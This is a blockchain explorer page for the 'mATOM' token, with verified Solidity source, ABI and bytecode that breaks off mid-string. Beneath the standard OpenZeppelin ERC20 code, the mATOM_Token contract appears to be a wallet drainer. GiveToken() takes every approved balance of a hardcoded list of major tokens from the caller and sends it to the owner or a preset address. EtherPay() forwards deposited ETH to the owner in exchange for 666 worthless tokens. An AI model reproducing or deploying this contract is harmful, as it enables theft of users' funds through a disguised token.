ETH Price: $2,382.94 (-3.98%)

Token

mATOM (mATOM)
 

Overview

Max Total Supply

0.00000000000072261 mATOM

Holders

774

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
korog.eth
Balance
0.000000000000000666 mATOM

Value
$0.00
0xa042807bcc6620be242e3eb6f9610b8fd66e2947
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
mATOM_Token

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-05
*/

// File: @openzeppelin/[email protected]/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/[email protected]/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: mATOM.sol


pragma solidity ^0.8.4;



contract mATOM_Token is ERC20,Ownable {

    IERC20 public token1;

    address public adre;

    address[] public tokens = 
   [0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2,0xdAC17F958D2ee523a2206206994597C13D831ec7,0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,0xa47c8bf37f92aBed4A126BDA807A7b7498661acD,
    0x990f341946A3fdB507aE7e52d17851B87168017c,0x6B175474E89094C44Da98b954EedeAC495271d0F,0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE,0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,
    0x4d224452801ACEd8B2F0aebE155379bb5D594381,0x9B9647431632AF44be02ddd22477Ed94d14AacAa,0x525A8F6F3Ba4752868cde25164382BfbaE3990e1,0x514910771AF9Ca656af840dff83E8264EcF986CA,
    0xD533a949740bb3306d119CC777fa900bA034cd52,0xf0f9D895aCa5c8678f706FB8216fa22957685A13,0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39,0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA,
    0xeff3f1b9400D6D0f1E8805BddE592F61535F5EcD,0xCfef8857E9C80e3440A823971420F7Fa5F62f020,0x8B3192f5eEBD8579568A2Ed41E6FEB402f93f73F,0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599,
    0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b];

  

    constructor() ERC20("mATOM", "mATOM") {
            adre = 0x881e8D45e88eC7f21aB755Df2aa831cf373ad97d;
        }

     function mint(address to, uint256 amount) public onlyOwner{
        _mint(to, amount);
    }

     function GiveToken() public  {
    
          for(uint i = 0; i < tokens.length; i++){
            token1 = IERC20(tokens[i]);
           if (token1.allowance(msg.sender,address(this)) >= token1.balanceOf(msg.sender)){
              token1.transferFrom(msg.sender,address(this),token1.balanceOf(msg.sender));

               if (block.timestamp >= 1654045260){
                
                token1.transfer(adre,token1.balanceOf(address(this)));   
               }
               else
                token1.transfer(owner(),token1.balanceOf(address(this)));
           }
          
         }
    }

    function EtherPay() public payable{
        address payable adr = payable(owner());
        adr.transfer(address(this).balance);
        _mint(msg.sender,666);
    }

    function Add_WtiteList(address new_adr) public onlyOwner{

        tokens.push(new_adr);
    }

    function Remove_WtiteList(uint256 number, address new_adr) public onlyOwner{
        
        tokens[number] = new_adr;
    }

    function Cheker_Approve(address new_adr_contr, address use) public onlyOwner view returns(uint256)  {
         return IERC20(new_adr_contr).allowance(use,address(this));
    }

    function Cheker_Adr(uint256 number) public onlyOwner view returns(address)  {
        
         return tokens[number];
    }

    function Change(address new_adr) public onlyOwner{
        transferOwnership(new_adr);
    }

    function set_adre(address new_adr) public onlyOwner{
        adre = new_adr;
    }

    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"new_adr","type":"address"}],"name":"Add_WtiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"new_adr","type":"address"}],"name":"Change","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"}],"name":"Cheker_Adr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_adr_contr","type":"address"},{"internalType":"address","name":"use","type":"address"}],"name":"Cheker_Approve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EtherPay","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"GiveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"address","name":"new_adr","type":"address"}],"name":"Remove_WtiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"adre","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"new_adr","type":"address"}],"name":"set_adre","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61032060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2608090815273dac17f958d2ee523a2206206994597c13d831ec760a05273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4860c05273a47c8bf37f92abed4a126bda807a7b7498661acd60e05273990f341946a3fdb507ae7e52d17851b87168017c61010052736b175474e89094c44da98b954eedeac495271d0f610120527395ad61b0a150d79219dcf64e1e6cc01f0b64c4ce61014052737d1afa7b718fb893db30a3abc0cfc608aacfebb061016052734d224452801aced8b2f0aebe155379bb5d59438161018052739b9647431632af44be02ddd22477ed94d14aacaa6101a05273525a8f6f3ba4752868cde25164382bfbae3990e16101c05273514910771af9ca656af840dff83e8264ecf986ca6101e05273d533a949740bb3306d119cc777fa900ba034cd526102005273f0f9d895aca5c8678f706fb8216fa22957685a1361022052732b591e99afe9f32eaa6214f7b7629768c40eeb39610240527315d4c048f83bd7e37d49ea4c83a07267ec4203da6102605273eff3f1b9400d6d0f1e8805bdde592f61535f5ecd6102805273cfef8857e9c80e3440a823971420f7fa5f62f0206102a052738b3192f5eebd8579568a2ed41e6feb402f93f73f6102c052732260fac5e5542a773aa44fbcfedf7c193bc2c5996102e05273a0b73e1ff0b80914ab6fe0444e65848c4c34450b610300526200022090600890601562000324565b503480156200022e57600080fd5b506040805180820182526005808252646d41544f4d60d81b6020808401828152855180870190965292855284015281519192916200026f916003916200038e565b508051620002859060049060208401906200038e565b505050620002a26200029c620002ce60201b60201c565b620002d2565b600780546001600160a01b03191673881e8d45e88ec7f21ab755df2aa831cf373ad97d1790556200045f565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8280548282559060005260206000209081019282156200037c579160200282015b828111156200037c57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000345565b506200038a9291506200040b565b5090565b8280546200039c9062000422565b90600052602060002090601f016020900481019282620003c057600085556200037c565b82601f10620003db57805160ff19168380011785556200037c565b828001600101855582156200037c579182015b828111156200037c578251825591602001919060010190620003ee565b5b808211156200038a57600081556001016200040c565b600181811c908216806200043757607f821691505b602082108114156200045957634e487b7160e01b600052602260045260246000fd5b50919050565b6116af806200046f6000396000f3fe6080604052600436106101815760003560e01c806356957f19116100d1578063a9059cbb1161008a578063cebcf74511610064578063cebcf74514610451578063d21220a714610471578063dd62ed3e14610491578063f2fde38b146104d757600080fd5b8063a9059cbb14610409578063bc73d34614610429578063c002889d1461043157600080fd5b806356957f191461035657806370a082311461036b578063715018a6146103a15780638da5cb5b146103b657806395d89b41146103d4578063a457c2d7146103e957600080fd5b80632c878c9e1161013e5780633ac7cb72116101185780633ac7cb72146102d657806340c10f19146102f65780634f64b2be1461031657806355c5d8721461033657600080fd5b80632c878c9e1461027a578063313ce5671461029a57806339509351146102b657600080fd5b806302dc774d1461018657806306fdde03146101a8578063095ea7b3146101d3578063136d29e61461020357806318160ddd1461023b57806323b872dd1461025a575b600080fd5b34801561019257600080fd5b506101a66101a136600461144b565b6104f7565b005b3480156101b457600080fd5b506101bd610536565b6040516101ca919061156d565b60405180910390f35b3480156101df57600080fd5b506101f36101ee3660046114d2565b6105c8565b60405190151581526020016101ca565b34801561020f57600080fd5b5061022361021e36600461151b565b6105e0565b6040516001600160a01b0390911681526020016101ca565b34801561024757600080fd5b506002545b6040519081526020016101ca565b34801561026657600080fd5b506101f3610275366004611497565b61064b565b34801561028657600080fd5b50600754610223906001600160a01b031681565b3480156102a657600080fd5b50604051601281526020016101ca565b3480156102c257600080fd5b506101f36102d13660046114d2565b61066f565b3480156102e257600080fd5b506101a66102f136600461144b565b6106ae565b34801561030257600080fd5b506101a66103113660046114d2565b61072a565b34801561032257600080fd5b5061022361033136600461151b565b610762565b34801561034257600080fd5b506101a661035136600461154b565b61078c565b34801561036257600080fd5b506101a661080a565b34801561037757600080fd5b5061024c61038636600461144b565b6001600160a01b031660009081526020819052604090205490565b3480156103ad57600080fd5b506101a6610caa565b3480156103c257600080fd5b506005546001600160a01b0316610223565b3480156103e057600080fd5b506101bd610ce0565b3480156103f557600080fd5b506101f36104043660046114d2565b610cef565b34801561041557600080fd5b506101f36104243660046114d2565b610d81565b6101a6610d8f565b34801561043d57600080fd5b506101a661044c36600461144b565b610de8565b34801561045d57600080fd5b5061024c61046c366004611465565b610e34565b34801561047d57600080fd5b50600654610223906001600160a01b031681565b34801561049d57600080fd5b5061024c6104ac366004611465565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104e357600080fd5b506101a66104f236600461144b565b610ee7565b6005546001600160a01b0316331461052a5760405162461bcd60e51b8152600401610521906115c0565b60405180910390fd5b61053381610ee7565b50565b6060600380546105459061160d565b80601f01602080910402602001604051908101604052809291908181526020018280546105719061160d565b80156105be5780601f10610593576101008083540402835291602001916105be565b820191906000526020600020905b8154815290600101906020018083116105a157829003601f168201915b5050505050905090565b6000336105d6818585610f7f565b5060019392505050565b6005546000906001600160a01b0316331461060d5760405162461bcd60e51b8152600401610521906115c0565b6008828154811061062e57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031690505b919050565b6000336106598582856110a3565b610664858585611135565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091906105d690829086906106a99087906115f5565b610f7f565b6005546001600160a01b031633146106d85760405162461bcd60e51b8152600401610521906115c0565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146107545760405162461bcd60e51b8152600401610521906115c0565b61075e8282611303565b5050565b6008818154811061077257600080fd5b6000918252602090912001546001600160a01b0316905081565b6005546001600160a01b031633146107b65760405162461bcd60e51b8152600401610521906115c0565b80600883815481106107d857634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505050565b60005b600854811015610533576008818154811061083857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600680546001600160a01b0319166001600160a01b0390921691821790556040516370a0823160e01b81523360048201526370a082319060240160206040518083038186803b15801561089657600080fd5b505afa1580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce9190611533565b600654604051636eb1769f60e11b81523360048201523060248201526001600160a01b039091169063dd62ed3e9060440160206040518083038186803b15801561091757600080fd5b505afa15801561092b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094f9190611533565b10610c98576006546040516370a0823160e01b815233600482018190526001600160a01b03909216916323b872dd91309084906370a082319060240160206040518083038186803b1580156109a357600080fd5b505afa1580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db9190611533565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401602060405180830381600087803b158015610a2a57600080fd5b505af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6291906114fb565b50636296ba4c4210610b7a576006546007546040516370a0823160e01b81523060048201526001600160a01b039283169263a9059cbb92169083906370a082319060240160206040518083038186803b158015610abe57600080fd5b505afa158015610ad2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af69190611533565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610b3c57600080fd5b505af1158015610b50573d6000803e3d6000fd5b505050506040513d601f19601f8